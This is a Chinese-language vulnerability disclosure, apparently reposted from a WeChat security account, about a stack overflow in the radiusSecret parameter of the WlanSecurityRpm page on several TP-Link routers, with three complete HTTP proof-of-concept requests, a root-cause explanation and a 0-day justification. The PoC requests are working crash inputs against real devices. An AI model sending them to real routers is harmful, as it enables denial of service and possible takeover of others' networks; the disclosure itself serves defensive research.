
一、基本信息
漏洞类型:缓冲区溢出
漏洞描述:TP-Link WR841N V8和TP-Link TL-WR940N V2/TL-WR941ND V5无线路由器中存在缓冲区溢出漏洞。其/userRpm/WlanSecurityRpm实现在处理radiusSecret GET参数时存在安全漏洞,允许远程攻击者利用该漏洞提交特殊请求,导致缓冲区溢出,严重时可导致任意操作系统命令的执行。
设备型号:
TP-Link TL-WR841N V8,TP-Link TL-WR940N V2/TL-WR941ND V5
二、概念验证
TP-Link TL-WR841N V8的PoC如下:
GET /userRpm/WlanSecurityRpm.htm?pskSecOpt=2&pskCipher=3&pskSecret=12345670&interval=0&secType=2&wpaSecOpt=3&wpaCipher=3&radiusIp=192.168.0.2&radiusPort=1812&radiusSecret=123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=5&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save HTTP/1.1
Host: 0.0.0.0:49168
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://0.0.0.0:49168/userRpm/WlanSecurityRpm.htm?secType=0&pskSecOpt=2&pskCipher=3&pskSecret=12345670&interval=0&wpaSecOpt=3&wpaCipher=3&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save
Cookie: Authorization=
Upgrade-Insecure-Requests: 1
TL-WR941ND V5的PoC如下:
GET /MZKBGETBOHFWYCNC/userRpm/WlanSecurityRpm.htm?pskSecOpt=2&pskCipher=2&pskSecret=12345670&interval=0&wpaSecOpt=1&wpaCipher=3&radiusIp=192.168.1.2&radiusPort=1812&radiusSecret=123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123&intervalWpa=0&secType=1&wepSecOpt=1&keytype=2&keynum=1&key1=12345&length1=5&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/YOKQCLEBKGHAVJDB/userRpm/WlanSecurityRpm.htm?pskSecOpt=2&pskCipher=2&pskSecret=12345670&interval=0&secType=2&wpaSecOpt=1&wpaCipher=3&radiusIp=192.168.1.2&radiusPort=1812&radiusSecret=123&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1
TP-Link TL-WR940N V2的PoC如下:
GET /MZKBGETBOHFWYCNC/userRpm/WlanSecurityRpm.htm?pskSecOpt=1&pskCipher=2&pskSecret=12345670&interval=0&secType=2&wpaSecOpt=2&wpaCipher=1&radiusIp=192.168.1.2&radiusPort=1812&radiusSecret=123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.0.1/KMODQNKANSQJBYFA/userRpm/WlanSecurityRpm.htm?secType=3&pskSecOpt=1&pskCipher=2&pskSecret=12345670&interval=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Upgrade-Insecure-Requests: 1
三、漏洞原理
当Web管理组件接收到GET请求时,其/userRpm/WlanSecurityRpm组件在处理radiusSecret GET参数时会实现安全漏洞。radiusSecret参数的长度可以是任意长度,不检查就入栈,导致栈溢出。攻击者可以利用该漏洞覆盖返回地址,进而被利用达到远程任意命令执行的效果。
通过仿真成功的固件仿真界面如下:
发送PoC后目标服务崩溃:
四、判断为0day漏洞的依据
在NVD数据库中搜索WlanSecurityRpm关键字,发现一个漏洞:CVE-2017-14219,该漏洞是TP-Link WRN 240的XSS漏洞,其攻击向量是ESSID,与该漏洞的漏洞类型和参数不同。因此,判定为0day漏洞。
在CNVD数据库中搜索WlanSecurityRpm关键字,发现一个漏洞:CNVD-2013-14724,该漏洞是TP-Link TL-WR740N/TL-WR740ND的跨站请求伪造漏洞,与该漏洞类型不同,因此判定为0day漏洞。
感谢您抽出

.

.

来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):TP-Link WR940N、WR941ND V5、WR841N型号无线路由器堆栈内存溢出